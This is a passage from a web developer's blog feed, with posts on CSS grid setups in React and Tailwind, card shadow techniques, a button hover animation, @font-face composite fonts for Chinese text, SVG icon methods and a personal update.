}

@media screen and (min-width: 900px) {
  .grid {
    grid-template-columns: repeat(12, 1fr);
    margin-left: 50px;
    margin-right: 50px;
  }
}

@media screen and (min-width: 1200px) {
  .grid {
    gap: 1.5em;
    margin-left: 90px;
    margin-right: 90px;
  }
}

@media screen and (min-width: 1600px) {
  .grid {
    margin-left: 180px;
    margin-right: 180px;
  }
}

This approach allows the item placement code to go on the component styles. And if there are common placement patterns that recur very often in the design, then you could consider having some pre-written styles to cater to those situations.

.grid__item--full,
.grid__item--half,
.grid__item--third,
.grid__item--quarter {
  grid-column: 1 / -1;
}

@media screen and (min-width: 640px) {
  .grid__item--quarter {
    grid-column: span 4;
  }
}

@media screen and (min-width: 900px) {
  .grid__item--half {
    grid-column: span 6;
  }

  .grid__item--third {
    grid-column: span 4;
  }

  .grid__item--quarter {
    grid-column: span 3;
  }
}

And if you do need some custom placement, those styles could be part of the component styles like this:

.custom-thingy {
  grid-column: 1 / -1;
  font-size: var(--step-1);
}

@media screen and (min-width: 640px) {
  .custom-thingy {
    grid-column: 1 / 6;
    padding-top: 2em;
    padding-bottom: 1em;
  }
}

@media screen and (min-width: 900px) {
  .custom-thingy {
    grid-column: 1 / 7;
  }
}

Option 2: Container and Item components

Another approach is to have wrapper components for the container and item respectively. This means the grid code is tied to the wrapper components instead of being loaded in the global stylesheet.

I ran into some specificity issues with this approach with CSS modules that I managed to workaround relatively painlessly, but it is something to take note of.

The setup involves creating a Grid component and a Col component and their corresponding stylesheets.

src/
  └── components/
      ├── Col/
      │   ├── Col.module.css
      │   └── Col.tsx
      └── Grid/
          ├── Grid.module.css
          └── Grid.tsx

These components don't do much other than provide grid-related styling, so they're not very big or complicated. They have props for passing custom class names, modifying the element tag (which defaults to div) but generally does not restrict users from passing in other props either.

Grid.tsx

import { ReactNode, createElement } from "react";
import styles from "./Grid.module.scss";

interface GridProps extends React.HTMLProps<HTMLElement> {
  className?: string;
  children: ReactNode;
  tag?: keyof JSX.IntrinsicElements;
}

export default function Grid({ className = "", children, tag = "div", ...props }: GridProps) {
  const Wrapper = tag;
  return createElement(
    Wrapper,
    {
      className: `${styles.grid} ${className}`,
      ...props,
    },
    children
  );
}

Col.tsx

import { ReactNode, createElement } from "react";
import cn from "classnames";
import styles from "./Col.module.scss";

interface ColProps extends React.HTMLProps<HTMLElement> {
  className?: string;
  children: ReactNode;
  colWidth?: "full" | "half" | "third" | "quarter";
  tag?: keyof JSX.IntrinsicElements;
}

export default function Col({
  className = "",
  children,
  colWidth,
  tag = "div",
  ...props
}: ColProps) {
  const Wrapper = tag;

  return createElement(
    Wrapper,
    {
      className: cn(className, { [styles[`${colWidth}`]]: colWidth }),
      ...props,
    },
    children
  );
}

The styles would be the same as in option 1 but because this approach uses CSS modules, you can sort of be more “casual” with naming your classes? The grid container styles are literally exactly the same as option 1, while the item classes can look like this or however you like to name them:

Col.module.css

.full,
.half,
.third,
.quarter {
  grid-column: 1 / -1;
}

@media screen and (min-width: 640px) {
  .quarter {
    grid-column: span 4;
  }
}

@media screen and (min-width: 900px) {
  .half {
    grid-column: span 6;
  }

  .third {
    grid-column: span 4;
  }

  .quarter {
    grid-column: span 3;
  }
}

The issue I ran into when using these components was that, if I wanted to override the pre-written item styles, I had to bump the specificity of my component styles up a little bit because CSS modules loaded the component styles before the wrapper styles. ¯\_(ツ)_/¯

I like to keep specificity low in general, so I went with bumping up by 1 element tag's worth.

p.customThingy {
  grid-column: 1 / -1;
  font-size: var(--step-1);
}

@media screen and (min-width: 640px) {
  p.customThingy {
    grid-column: 1 / 6;
    padding-top: 2em;
    padding-bottom: 1em;
  }
}

@media screen and (min-width: 900px) {
  p.customThingy {
    grid-column: 1 / 7;
  }
}

If someone more knowledgeable has advice on a better way of dealing with this style loading order, please let me know.

Option 3: Using Tailwind classes

This may or may not be a spicy option. I'll be up front about this, I do not think the way Tailwind does CSS is ideal. The major issue I have with Tailwind is, if you use it the way it was intended, the cascade is almost completely negated.

It is called Cascading Stylesheets for a reason. Maybe call it “Tailwind SS” instead? That being said, I'm not a very dogmatic person. I may write a longer Tailwind-specific blog post in future (but do I really want Opinionated tech bros telling me why I'm very very wrong?), we'll see.

For now, I accept the reality that there are quite a number of teams that use Tailwind CSS in their applications and it's working well for them. That's great. What if those teams want to use CSS grid? Well, it is absolutely doable.

Even though I'm not a big fan of how the CSS is being done in Tailwind, I must admit its build process is very solid and the documentation is also great. Tailwind has exposed almost every API possible for you to modify the default configuration to suit your custom specifications.

So the grid specification can be set up like so (abstracted to just show the breakpoints):

module.exports = {
  theme: {
    screens: {
      xs: "320px",
      sm: "640px",
      md: "900px",
      lg: "1200px",
      xl: "1600px",
      maxSm: { max: "639px" },
      maxMd: { max: "899px" },
      btwSmMd: { min: "640px", max: "899px" },
    },
  },
  prefix: "tw-",
};

You would then have to apply these classes to your component accordingly:

export default function Option3() {
  return (
    <section className="tw-grid xs:tw-grid-cols-4 sm:tw-grid-cols-8 md:tw-grid-cols-12 xs:tw-gap-3 lg:tw-gap-4 xs:tw-mx-3 sm:tw-mx-[30px] md:tw-mx-[50px] lg:tw-mx-[90px] xl:tw-mx-[180px]">
      <p className="tw-col-span-full">Full width</p>
      <p className="tw-col-span-full md:tw-col-span-6">Half width</p>
      <p className="tw-col-span-full md:tw-col-span-4">Third width</p>
      <p className="tw-col-span-full md:tw-col-span-3">Quarter width</p>
    </section>
  );
}

I'm sure the Tailwind experts have come up with something to abstract regularly used combinations of classes into something else but this is the most basic version and it achieves the same end result as the other options.

Code and demo

If you'd like to see how the code performs in an actual design, you can check out this CodeSandbox: https://codesandbox.io/s/enterprise-css-grid-vnjozr

I put the code on Github: https://github.com/huijing/enterprise-css-grid, since I found that if you try to clone the CodeSandbox, you don't get the container version (which you want for Tailwind styles to compile properly).

The people problem

I only proposed 3 options but I'm sure there are more possible approaches to writing styles. Are any one of these approaches the “correct” one or the “best” one? The answer is a resounding NO. At least, not without taking into account the context in which the code needs to be used.

Technically, every approach does the job. The level of difficulty of the technical implementation sometimes pale in comparison to the issues and considerations around code organisation, maintainability and developer experience. Especially for larger teams.

There is always the chance that someone from above you in the hierarchy “mandates” that you use a certain technology. Have I heard some executive (who used to code) say “I could have built this myself in a day with INSERT*SUGGESTED_LIBRARY_HERE”? Well, yes. ( ⚆ * ⚆ )

Sometimes there are things out of your control. And that's okay. But in those instances you are able to influence technical decisions, I think is more important during the assessment process is to ask the following questions:

Are there preferred technologies used within the organisation?
How is big is your application and how is it structured?
Are there cases where code is contributed by new developers often?
Who is responsible for the maintenance and development of new components or pages on the application?

Is it a small team of full-time developers overseeing the entire project?
Is it numerous teams responsible for their own respective set of components and pages?
What is the overall CSS skill level of the developers contributing to the codebase?
What is the overall React skill level of the developers contributing to the codebase?

How flexible does the design system need to be? Can a small set of components cater for most of the use cases? Or do bespoke requirements come up a lot?

On-boarding folks onto a new codebase is not a trivial matter. And it does help if we can articulate and document the reasons behind why certain decisions were made. Having this “paper trail” will also make it easier to clear off technical debt, especially if something was done due to a circumstance/constraint that no longer exists.

Wrapping up

Well, that's about all I have for now. If you thought that CSS is just a simple annoyance that's getting in your way of writing “real code”, you're probably not reading this article right now, eh? But seriously, I think CSS at scale is an interesting problem to reason about.

The future is impossible to predict. We do need to find a balance between trying to cater for all possible scenarios versus building for the most obvious use-case.

In a large organisation, it's common for us to focus only on our small part, but we do need an awareness of the bigger picture to ensure our decisions don't cause major problems down the road.

CSS card shadow effects

Mon, 13 Jun 2022 23:54:25 GMT

Card-style components are pretty much still a thing these days, and there are many ways to make a bunch of identical rectangles look prettier. I'm quite fond of the pop art, or maybe it's more of a comic book style art direction that uses thick bold outlines and bright colours.

So the look and feel we are going for looks something like the image below:

Specifics of the design for the larger shadow are as follows (extracted from Figma):

/* Card */
height: 240px;
width: 160px;
left: 260px;
top: 0px;
border-radius: 8px;

position: absolute;
width: 160px;
height: 240px;

background: #ffffff;
border: 4px solid #1f1f1f;
border-radius: 8px;

/* Shadow */
height: 240px;
width: 160px;
left: 274px; /* Indicates shadow is offset on x-axis by 14px */
top: 14px; /* Indicates shadow is offset on y-axis by 14px */
border-radius: 8px;

position: absolute;
width: 160px;
height: 240px;

background: #ffd700;
border: 4px solid #1f1f1f;
border-radius: 8px;

To summarise in words, the card has a solid 4px border and a border-radius of 8px, and the card's shadow too has a solid 4px border with 8px border-radius and is offset from the card by 14px on both the x and y axes.

At first, I thought this would be quite easy, because I had used multiple box shadows before to great satisfaction (see Codepen below, specifically the pattern of dots on the first 3 albums):

See the Pen Tycho Album Artwork - Scroll Snap by Chen Hui Jing (@huijing) on CodePen.

My idea was to use 2 box shadows to create the coloured shadow and the border for the coloured shadow.

But first, let's review `box-shadow`

The full syntax for the box-shadow property can take 2-4 length values, an optional colour and an optional inset keyword. The length values represent the x-offset, the y-offset, the blur-radius and the spread-radius, in that specific order.

Here's the bit that will probably make you check the documentation if you do not use box-shadow often:

If you use 2 length values, they mean the x-offset and the y-offset respectively, while the other 2 values default to 0.
If you use 3 length values, they mean the x-offset, the y-offset and the blur-radius respectively, while the spread-radius defaults to 0.
If you use 4 length values, they mean the x-offset, the y-offset, the blur-radius and the spread-radius.

Multiple box shadows are also possible, as long as you separate each box shadow with a comma like so:

div {
  box-shadow: 4px 4px coral, 6px 6px olive, 8px 8px dodgerblue;
}

Attempt 1: box-shadow but not quite right

Okay, so we're trying to do a card with a solid 4px border and a border-radius of 8px, and a shadow which also has a solid 4px border with 8px border-radius and is offset from the card by 14px on both the x and y axes.

My first attempt looked like this:

.card {
  height: 300px;
  width: 200px;
  border: 4px solid black;
  border-radius: 8px;
  box-shadow: 18px 18px 0 0 gold, 18px 18px 0 4px black;
}

Using box-shadow but a bit wrongly

You might have noticed that the border-radius on the shadow does not match that of the card. This is because the second shadow that I added for the black border which used a 4px spread-radius expanded the shadow beyond the original size of the card.

Now, if there were no rounded corners on the cards, this wouldn't be an issue at all, but it is what it is. And this discrepancy in border-radius was a little too visible for this approach to be acceptable.

Attempt 2: positioned pseudo-element

Onto the next try! There are more tricks up my card shadow sleeve. Let's go with the pseudo-element approach then. The gist is to style the pseudo-element to look exactly like the card except with a different background colour and positioned below the card.

.card {
  position: relative;
  background: white;
  transform-style: preserve-3d;
}

.card::before {
  content: "";
  position: absolute;
  height: 100%;
  width: 100%;
  border: 4px solid black;
  background-color: gold;
  bottom: -18px;
  right: -18px;
  border-radius: 8px;
  transform: translateZ(-1px);
  box-sizing: content-box; /* Only if you have some reset that makes everything border-box */
}

Using pseudo-element

The interesting part here was the transform: translateZ(-1px) on the card and the transform: translateZ(-1px) on the pseudo-element shadow. This is to ensure that the card shadow always renders behind the card itself.

I did try using just z-index: -1 but somehow it worked in Codepen but not on this live example above. I probably need to dig into the root cause but let's use the transform trick for now.

Attempt 3: box-shadow with inset

A colleague of mine felt that the pseudo-element could be simplified with box-shadow, and when I told him the issue I ran into, he proposed this alternative:

.card {
  box-shadow: 14px 14px 0 -4px gold, 14px 14px 0 0 black;
}

Since my problem was that the shadow border was growing beyond the original size of the card, that meant that the border should be the “limit” of the card shadow. Its spread radius should be 0. This meant that we ought to use a negative value for the solid colour needed in the card shadow.

Using box-shadow correctly this time

And voila! Problem solved. Code became much shorter again, and all is well with the world.

Wrapping up

Honestly, it did not occur to me to use a negative value for the box-shadow at all. But now that I know about this approach, I cannot unsee it. It's nice to discover new techniques on established CSS properties. Especially when so many new things are on the horizon.

Also, I just came back from CSS Day 2022 and boy was it inspiring to meet my favourite CSS folks in real life. Trust me when I say I was more inspired in the first 3 hours of the conference than I had been since COVID started and things shut down.

Anyhoo, I might have some mildly spicy opinions and ideas in the upcoming posts, so stay tuned if you feel like it, I guess? 🌶️

CSS animation on button hover state

Mon, 23 May 2022 06:26:56 GMT

Recently, I came across an animation prototype on a button hover state and wanted to see if I could build it with just CSS. To explain in words, when you hovered over the pill-shaped button, the background changed from a plain white background to a nice coloured gradient, and there was a light sweep effect across the button.

I have a standard approach to building any design with CSS, and that is to break things down into smaller bits. First, there's the button itself when nobody is interacting with it. Then, there's that gradient transition, and the final flourish is the light sweep effect.

The pill-shape

For the pill-shape, we call upon the trusty border-radius property. The value itself represents the radius of the circle at the corner of the box which affects how large the round corner is going to be. This is why when we set a border-radius value of 50% on a square box, we can get a perfect circle.

Anyway, for the pill-shape, setting the border-radius to half of the height of the element should do the trick.

My CSS looks like this for now:

button {
  padding: 0.75em 1.5em;
  background-color: white;
  border: 2px solid;
  font-size: larger;
  border-radius: 1.65em;
  cursor: pointer;
}

The background gradient transition

Unfortunately, the background-image property is not animatable. If you check the section about background-image in CSS Backgrounds and Borders Module Level 3, you'll see that the animation type is discrete.

This means that the animation will proceed from one keyframe to the next one without any interpolation, which is required for a smooth transition between states.

There is a workaround for this problem though, which makes use of pseudo-elements. Set the gradient on a pseudo-element of the button, then animate the opacity of that pseudo-element to make the background transition into a gradient background.

button {
  padding: 0.75em 1.5em;
  background-color: white;
  border: 2px solid;
  font-size: larger;
  border-radius: 1.65em;
  cursor: pointer;
  position: relative;
  overflow: hidden;
  z-index: 1;
}

I added a position: relative to the button to ensure that my pseudo-element is positioned inside the button. The overflow: hidden is to make sure the corners of the pseudo-element don't peek out of the rounded corners, and the z-index ensures that the pseudo-element is below the content of the button.

For the pseudo-element itself, my CSS looks like this:

button::before {
  position: absolute;
  content: "";
  top: 0;
  right: 0;
  bottom: 0;
  left: 0;
  background-image: linear-gradient(to left, tomato 0%, salmon 25%, peachpuff 100%);
  z-index: -1;
  transition: opacity 240ms linear;
  opacity: 0;
}

button:hover::before {
  opacity: 1;
}

The light sweep effect

For the light sweep effect, I need the other pseudo-element as well. Depending on how the light sweep is designed, the CSS for this can be vastly different. I'm not a very creative person, so I'll just go with a thin vertical white line with blurry edges to look like light.

button::after {
  content: "";
  height: 150%;
  width: 0.25em;
  background-color: #fff;
  box-shadow: 0px 0px 8px 4px #fff;
  transform: translateX(-1em);
}

And for the animation, I just want my light line to sweep across horizontally from left to right when someone hovers over the button.

button:hover::after {
  animation-duration: 300ms;
  animation-name: sweep;
}

@keyframes sweep {
  from {
    transform: translateX(-1em);
  }
  to {
    transform: translateX(12.5em);
    animation-timing-function: ease-out;
  }
}

This is why it would be good to work with a motion designer, or someone who's familiar with animation timings to tweak the things until it looks good. Depending on the design, you could even use an SVG as a background image for the sweep shape instead of a vertical line. Lots of options available.

If you're interested to see the full code in action, here's the Codepen:

See the Pen Bling button ✨ by Chen Hui Jing (@huijing) on CodePen.

Wrapping up

Personally, building out animations with CSS is really fun. And even though you might not be able to do really complex line animations with only CSS alone, I find that there a number of animation properties that most people hardly ever use.

I myself only discovered them in depth a couple years ago when I tried to animate the unofficial Talk.CSS mascot, Kittencorn. I wrote that one up in Figuring out CSS animation properties with a magic kittencorn.

But there's really quite a lot that can be done. I highly encourage everyone to play around with CSS animation properties more. If there's something you want to do which can't be done, you can also join in the discussion in the CSSWG Github repository. There are plenty of issues tagged with web-animations-1 and web-animations-2.

Remember, properties do come true when we ask for them nicely, but if we don't use them and talk about them, how will the browser vendors know we want them? Have fun exploring! ヾ(＾ ᴗ ＾)ノ

@font-face fun times

Tue, 10 May 2022 17:22:43 GMT

I'm currently a member of the Chinese Text Layout Task Force | 中文排版需求, and we have monthly calls to discuss issues and work related to the Requirements for Chinese Text Layout. There were a number of interesting things discussed in the most recent one, enough for me to want to write about them.

Mixed script typography

The first thing was a discussion around spacing between Han characters and non-Han characters. For the most part, whenever there is a mix of Han characters with other scripts, we would want some extra spacing between them.

Even though this is not explicitly documented in any national standards or guidelines, those of us who read Chinese have often seen that extra space in printed publications. The examples below are literally books I pulled out of my bookshelf.

字型散步（柯志杰 & 蘇煒翔）

汉字复兴的脚步（许寿椿）

创字录:字体设计必修课（吴剑）

Admittedly, because there is no official guidance on this, there are also situations where there is no space between Han and non-Han characters. The purpose of our task force is to have a comprehensive requirements document for browser implementers to better understand what the ideal presentation of the Chinese script on the web and digital media should be.

And so, when we saw this issue being raised in the CSS Working Group Github repository on text-spacing behaviour, we discussed it during our monthly call. For the most part, we discussed the amount of spacing required (1/4em versus 1/8em). And also, what the default behaviour of the text-spacing property ought to be.

I did share my experience with Shopify's Chinese language websites (we have 4 of them!), whereby the content guidelines for authors was to have manually add the spaces via U+0020 for whenever our Chinese text finds itself adjacent to an English word. The thing is, the amount of space that U+0020 adds is a little too much.

So I also wondered out loud how plausible it would be for the browser to automatically adjust the width of the manually added spaces. And turns out, there is another Github issue related to this topic, which talks about making autospace a separate property rather than a value in text-spacing.

As I went through all the comments in the first issue, I was rather surprised at this comment made by “an English reader who has a bare acquaintance with Chinese text”, who mentions that he “had two professionals who come from journalism tell me that removing spacing looks better, with adding spaces being reserved for special use cases.”. ¯\_(ツ)_/¯

That being said, I do acknowledge said English reader's concerns about ensuring legacy behaviour not be broken. That is the beauty of the web, and the fact that we even had a forum to discuss this issue in the open is what I love about web standards.

I won't repeat the bulk of the discussion in those 2 issues and if you're interested, please read through both of them on Github. It's pretty interesting if you're interested in Chinese typography.

The @font-face thing

I guess if you were here for the font-face thing, you must be wondering what the previous 500 words were all about. Well, thanks for scrolling all the way down, and even better if you actually read those 500 words prior.

Among one of the many other things we discussed that day, the issue of our font stack for the Requirements document is not ideal, and also, that the Noto CJK fonts had been renamed. The TL;DR is that for mixed typography, it is ideal to list the Latin-script fonts first (see Kendra Schaefer's excellent write-up from 10 years ago which is STILL relevant today).

I think the reason we had originally listed the Chinese fonts first was that Chinese fonts are better optimized for Chinese punctuation marks, specifically quote marks. Generally, everyone in the call agreed that the Latin fonts should be listed first, but we definitely needed to take care of the fugly Latin glyphs in Chinese fonts issue.

And here is where the @font-face fun times come in! I had talked about this numerous times back when in-person conferences were an thing, that using unicode-range to create composite fonts is a very useful thing for cases like this. So I volunteered to make the pull request to update our fonts.

The 2 punctuation fonts declared for Simplified Chinese and Traditional Chinese are as follows:

@font-face {
  font-family: "Punctuation SC";
  src: local("PingFang SC"), local("Noto Sans SC"), local("Noto Sans CJK SC"), local("Heiti SC"),
    local("Microsoft Yahei");
  unicode-range: U+201C, U+201D, U+2018, U+2019; /* Unicode range for quotation marks */
}

@font-face {
  font-family: "Punctuation TC";
  src: local("PingFang TC"), local("Noto Sans TC"), local("Noto Sans CJK TC"), local("Heiti TC"),
    local("Microsoft JhengHei");
  unicode-range: U+201C, U+201D, U+2018, U+2019; /* Unicode range for quotation marks */
}

Simplified Chinese and Traditional Chinese display certain punctuation differently, for example, the full-width comma and period for Traditional Chinese is centred, while for Simplified Chinese they are in the bottom-left quadrant. See Bobby Tung's article Best Practices for Chinese Layout for visual examples of this.

For the src, again, because CJK languages tend to have much larger character sets than the alphabetic scripts, we usually use system fonts for the body copy for better performance, as a font file is often more than 1mb. We can ask the browser to check the local machine for the specified font using local().

If you're curious about the full font stack I proposed, it looks like this (with comments to explain why each font was chosen):

/*
-apple-system: iOS Safari, macOS Safari, macOS Firefox
BlinkMacSystemFont: macOS Chrome
Segoe UI: Windows
Roboto: Android, Chrome OS
Oxygen-Sans: KDE
Fira Sans: Firefox OS
Droid Sans: Older versions of Android
Ubuntu: Ubuntu
Cantarell: GNOME
Helvetica Neue: macOS versions < 10.11
Arial: Any
PingFang TC/SC: macOS
Noto Sans TC/SC: Ubuntu, Android
Noto Sans CJK TC/SC: Ubuntu, Android
Heiti TC/SC: macOS
DengXian: Windows
Microsoft Jhenghei / Microsoft Yahei: Windows < Vista
sans-serif: Fallback
*/

[lang="zh-hant"] {
  font-family: "Punctuation TC", -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans,
    Ubuntu, Cantarell, "Helvetica Neue", "PingFang TC", "Noto Sans TC", "Noto Sans CJK TC", "Heiti TC",
    "Microsoft JhengHei", sans-serif;
}

[lang="zh-hans"] {
  font-family: "Punctuation SC", -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans,
    Ubuntu, Cantarell, "Helvetica Neue", "PingFang SC", "Noto Sans SC", "Noto Sans CJK SC", "Heiti SC",
    "DengXian", "Microsoft YaHei", sans-serif;
}

Wrapping up

Anyway, that's about it. If you're curious to what else was discussed on the call, you can refer to our meeting minutes. The repository for the Requirements for Chinese Text Layout document is also open on Github at: https://github.com/w3c/clreq.

Random update for 2022

Sun, 13 Mar 2022 04:06:51 GMT

I had a conversation with my brother-from-another-mother, Zell, a couple days ago. Half catch-up and half discussion on the project we're working on, which I'll be honest, I have not been keeping up with very well. Project in question being a course called Essential CSS.

There are a still a couple chapters to be written. And the content is all in my head, but somehow, the process of getting the thoughts out into lesson form is proving more effort-ful than anticipated. Overall, since mid 2020, I've published a lot fewer blog posts and talks.

On much decreased output

Is there a good reason for this? Probably not unless you think “I just didn't feel like it” is a good one. I did mention to Zell I had a hypothesis. That I actually have an invisible word output quota. Even though my public output seems sparse, it's not like I've stopped writing altogether.

It's just that a huge bulk of this output is for my day job. So apparently, it is not that publicly known that I joined Shopify in May 2020. Which means I'm coming up to the 2 year mark. I admittedly kept it on the down low because I was switching jobs during a time many people around me were losing the theirs.

Most of you have no idea how significant this milestone is because in my decade-long tax-paying work experience, I have never stayed at a company for longer than 2 years. I'm doing my best not to get fired before that happens. It's a pretty nice place to work, to be honest.

But I happen to be on a team where I'm “out-of-timezone”, i.e. I'm in the APAC timezone while the all my other team members (except 1) is on the other side of the planet. To compensate for this, the 2 of us document extensively, because we do not have the luxury of real-time interactions with people other than ourselves.

So our Github issues are very detailed, our pull requests are annotated (Github comments are great for this), and we drop lengthy posts explaining the rationale behind our major technical decisions. That's a lot of words during the course of the day.

By the time I knock off work, my word juice has been squeezed dry and I just want to become a consumer of content not a producer. Sometimes I do get flashes of “hey, let's write a blog post” (like right now), so we'll see how this goes. I will finish up the course as soon as I can though, that much is for certain.

On web things

Another reason I looked back at some of the blog posts I wrote in the past was because I just saw the Utopia project by James Gilyead and Trys Mudford. The project really resonated with me and the same thoughts and ideas that I had about the web from years ago are still relevant now.

My first public blog post on the web design process itself was informed by John Allsop's A Dao of Web Design, written in 2000. I don't know whether to be amazed by the timeless-ness of the piece or sad that it's been more than 2 decades and we still have not moved the needle enough.

The talk that brought me around the world was based on the idea that we should embrace the fluidity of the web and in some sense, let go of absolute control over where things need to be. I'm very glad and reassured that folks at the CSS Working Group continue to push things forward with the help of browser engineers, giving web developers like us more and better tools to work with.

On the state of the world

I have not seen my parents in person since February 2020 since travelling home hasn't been the easiest of options over the past 2 years. That might change soon, but travel policies flip back and forth like the wind, so who knows. Travel in general seems like a really foreign concept to me nowadays.

The last country I was in before the pandemic shut everything down was Ukraine. I was there in 2020 for JS fwdays and although all of the speakers who made it in person had to scramble to leave before the borders shut down, I think none of us would have imagined what is happening right now.

I had been beyond fortunate to have the chance to visit Ukraine multiple times over the years and have wonderful memories of Kyiv, and the people I met there. To see people having to up their entire lives and leave their homes or hide in shelters, streets and civilian buildings shelled and reduced to rubble is tragic and horrifying.

Vitaly wrote a heart-wrenching post on Smashing Magazine and in it there are various links on how we can help even if we are physically far away from Ukraine. I'll highlight Real ways you can help Ukraine as a foreigner because it contains a globally crowdsourced list of links.

If you have the means to, please do what you can to show your support to Ukraine and their people.

Wrapping up

The past 2 years have been difficult for many people. And I can only hope that all of you hang in there, take care of yourselves and if you can, someone else around you as well. 🇺🇦❤️😷

The many methods for using SVG icons

Thu, 23 Dec 2021 05:53:22 GMT

Recently at work, I ran into a situation where we had to revisit how SVG icons were being implemented on our pages. And that gave me the opportunity to dig into the myriad of options we have for doing so. I thought this was worth documenting for future me (and maybe some of you who actually read this blog), because there are a LOT of options.

As a pseudo-element via CSS

.a-cleverly-named-css-class {
  /* bunch of pretty styles, oh wow */
  &::after {
    content: url("./some_icon.svg");
    display: block;
    height: 1.5em;
    width: 1.5em;
  }
}

This is good for icons that do not require modifications to the SVG itself (i.e. different colour?). If you look at the styles in the example above, we can modify the icon's positioning and sizing but we will not be able to change the icon itself. The FAQ accordion uses this method at the moment.

As a background-image on pseudo-element via CSS

This is almost exactly the same thing as option 1 except that instead of using the SVG directly as the content, we attach it using background-image to the pseudo-element instead.

.a-cleverly-named-css-class {
  /* bunch of pretty styles, oh wow */
  &::after {
    content: "";
    display: block;
    height: 1.5em;
    width: 1.5em;
    background-image: url("./some_icon.svg");
    background-position: initial;
    background-size: initial;
    background-repeat: initial;
  }
}

This does allow slightly more control over the image because then you would have access to background-position, background-size etc. This approach does allow you to do what was usually done for sprite sheets, where all the icons were in a single image file.

Developers then specified the "coordinates" of each icon based on the background-position and maybe background-size depending on the icon being specified.

The main issue with both CSS approaches is that you cannot change the colour of the icon via CSS. There might be cases where your icons need to appear in different contexts, where they need to match different colours of content for example.

If you are using monochrome icons, there is a solution to this. Some people might think this is hacky but I think it's kinda smart. The trick here is using CSS filters to get just the right shade you want. And no, I cannot write the filters by hand, but there's this filter calculator by Barrett Sonntag that can do it for us.

See the Pen CSS filter generator to convert from black to target hex color by Barrett Sonntag (@sosuke) on CodePen.

You may or may not get the exact shade that you're looking for, but odds are if you run the thing enough times, you can get something that's close enough.

Inline SVG rendered on the page itself

<a href="https://namu.wiki/w/Redd">
  음색 요정 휘인의 첫 번째 미니앨범 [Redd]
  <svg viewBox="0 0 24 24">
    <path
      d="M21 12.424V11a9 9 0 0 0-18 0v1.424A5 5 0 0 0 5 22a2 2 0 0 0 2-2v-6a2 2 0 0 0-2-2v-1a7 7 0 0 1 14 0v1a2 2 0 0 0-2 2v6a2 2 0 0 0 2 2 5 5 0 0 0 2-9.576ZM5 20a3 3 0 0 1 0-6Zm14 0v-6a3 3 0 0 1 0 6Z"
    />
  </svg>
</a>

This approach allows us to modify the icon itself via CSS because svg and path are accessible to us via this inline approach. This might be fine for SVG files that have reasonably short path data but would litter the markup if more complicated SVGs are required. But it does allow very granular control with CSS classes.

If you needed to animate the SVG, this is a pretty good option. But if you really don't want to have the markup be so messy, another approach to inline SVG is via the use attribute, which allows you to reference an SVG shape from elsewhere in the file.

You can also choose to place the SVG file somewhere else in your document and just reference the identifier. For multiple SVG icons, they can each be symbols without the main SVG element, and referenced with the hash symbol. This makes the markup much neater.

<!-- This is rendered but hidden with CSS -->
<svg xmlns="http://www.w3.org/2000/svg">
  <symbol id="icon-headphones" viewBox="0 0 24 24">
    <path
      d="M21 12.424V11a9 9 0 0 0-18 0v1.424A5 5 0 0 0 5 22a2 2 0 0 0 2-2v-6a2 2 0 0 0-2-2v-1a7 7 0 0 1 14 0v1a2 2 0 0 0-2 2v6a2 2 0 0 0 2 2 5 5 0 0 0 2-9.576ZM5 20a3 3 0 0 1 0-6Zm14 0v-6a3 3 0 0 1 0 6Z"
    />
  </symbol>
</svg>
<!-- Totally invisible, you're not supposed to know it's here… -->

<a href="https://namu.wiki/w/Redd">
  음색 요정 휘인의 첫 번째 미니앨범 [Redd]
  <svg class="icon__headphones" aria-hidden="true" focusable="false">
    <use href="#icon-headphones"></use>
  </svg>
</a>

Regardless of how the inline SVG is implemented, this seems to be the preferred approach because it gives us full control over the styling of the icon.

As an externally referenced image file

The last option is to reference the SVG from an external file altogether. You might be thinking, isn't this the same as the first option where you won't be able to change anything on the SVG? Well, turns out there are some things that are possible.

Let's say the icons are all in an SVG file named icons.svg.

<svg xmlns="http://www.w3.org/2000/svg">
  <symbol id="icon-headphones" viewBox="0 0 24 24">
    <path d="M21 12.424V11a9 9 0 0 0-18 0v1.424A5 5 0 0 0 5 22a2 2 0 0 0 2-2v-6a2 2 0 0 0-2-2v-1a7 7 0 0 1 14 0v1a2 2 0 0 0-2 2v6a2 2 0 0 0 2 2 5 5 0 0 0 2-9.576ZM5 20a3 3 0 0 1 0-6Zm14 0v-6a3 3 0 0 1 0 6Z"/>
  </symbol>
</svg>

It is possible to reference this external SVG file like so:

<a href="https://namu.wiki/w/Redd">
  음색 요정 휘인의 첫 번째 미니앨범 [Redd]
  <svg class="icon__headphones" aria-hidden="true" focusable="false">
    <use href="icons.svg#icon-headphones"></use>
  </svg>
</a>

Changing the colour of the icon via CSS is do-able because the fill property cascades in through the shadow DOM boundary as long as there is no existing fill attribute on the paths in the file, but you wouldn't be able to modify individual paths like in the second option.

The benefit of this approach is that the external file can be cached for performance gains, and if your use case only requires mono-coloured icons, this is a pretty good approach. But if you have multi-coloured icons, then you're out of luck, and would probably have to use the second option.

Learned about this approach from SVG `use` with External Reference, Take 2 by Chris Coyier and ended up going for this approach in my project.

One thing to note is there might be CORS issues if you are serving assets from a different URL from your web page: Understanding CORS and SVG. This is a problem I'm going to be facing, so we'll see how that goes.

As a mask layer with `mask-image`

After I wrote up these methods, I read Which SVG technique performs best for way too many icons? by Tyler Sticka and learned about the mask-image approach.

This is the CSS property that allows us to set an image as the mask layer for an element. So I guess this kind of falls into the first 2 categories of using CSS to do it, because I would most likely do this with pseudo-elements as well.

.a-cleverly-named-css-class {
  /* bunch of pretty styles, oh wow */
  &::before {
    -webkit-mask-image: url("./some_icon.svg");
    mask-image: url("./some_icon.svg");
    background-color: forestgreen;
    height: 1.5em;
    width: 1.5em;
  }
}

Wrapping up

Given there are so many methods to implement the same thing, hopefully there is a technique available that suits your particular situation and use-case. Anywayz, stay safe, my friends! 😷

Debugging vertical layouts in 2021

Sat, 08 May 2021 05:53:22 GMT

This blog has been around for more than 7 years. Where has the time gone? I first started messing around with vertical layouts after discovering the existence of writing-mode. It was a “cannot unsee” life event that happened around 5 years ago?

CSS had seen a number of milestones in the last 5 years, and we are so much better equipped to build layouts today. When I take a moment to look back, I find myself appreciating all the work done to push CSS forward even more. With the DevTools updates that came out last month, I've decided to revisit my favourite demo once again: CSS grid in vertical writing mode

Feel free to try it out with whichever DevTools you have on hand (I understand that not everyone has 9 browsers installed on their machine).

